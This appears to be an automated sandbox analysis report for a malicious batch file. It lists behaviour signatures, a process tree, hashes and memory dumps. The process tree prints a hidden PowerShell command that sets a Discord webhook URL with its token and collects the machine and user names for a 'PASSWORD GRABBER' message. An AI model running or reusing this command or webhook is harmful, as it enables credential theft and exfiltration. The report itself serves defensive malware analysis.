Analysis

  • max time kernel
    899s
  • max time network
    552s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/08/2026, 09:33

General

  • Target
    deepseek_batch_20260812_01ee24.bat
  • Size 9KB
  • Sample260812-ljb11stdjh
  • SHA256 f8834c2d37c9c548c392c7ae260d85395b920c6da35a54c1a9ffdf52eb617484
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260812_01ee24.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:552
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command $webhook = "https://discord.com/api/webhooks/1536719734295502972/ZeuuHMTujRhSRdbN8Iq3rpIq_4ehHa2CstDLSuAJYZFfi8sD-xO_zLMxhV0C23SPOu3N"; $id = "31444667519503"; $computer = $env:COMPUTERNAME; $user = $env:USERNAME; $timestamp = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss"); $content = @"**🔓 PASSWORD GRABBER**`n`n" + ^
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5524
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2504
    • C:\Windows\system32\sihost.exe
      sihost.exe
      1⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:260
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:5532
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:5976
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:2592
    • C:\Windows\System32\SecurityHealthHost.exe
      \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
      1⤵
        PID:2800

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            prep_Activatable Class_Hermes_perf.cache

            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 607B
            • SHA256 7c21835f01895c1ee4e12f81e71ef06a0f6e2b9281de493ff8ec95f913e9680d
            • MD5 SHA1 SHA512 TLSH

            prep_Activatable Class_Hermes_perf.cache

            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 599B
            • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
            • MD5 SHA1 SHA512 TLSH

            memory/5524-14-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

            memory/5524-12-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

            memory/5524-5-0x00000223CCC40000-0x00000223CCC62000-memory.dmp

            memory/5524-7-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

            memory/5524-8-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

            memory/5524-9-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

            memory/5524-10-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

            memory/5524-11-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

            memory/5524-0-0x00007FFDCD86F000-0x00007FFDCD870000-memory.dmp

            memory/5524-6-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

            memory/5524-2-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

            memory/5524-1-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

            memory/5532-193-0x000000000DBE0000-0x000000000E45B000-memory.dmp

            memory/5532-223-0x000000000DBE0000-0x000000000E45B000-memory.dmp

            memory/5976-37-0x00000285801E0000-0x00000285802E0000-memory.dmp

            memory/5976-82-0x0000028594200000-0x0000028594220000-memory.dmp

            memory/5976-67-0x0000028582C80000-0x0000028582CA0000-memory.dmp

            memory/5976-48-0x0000028582E40000-0x0000028582F40000-memory.dmp

            memory/5976-47-0x0000028582A20000-0x0000028582A40000-memory.dmp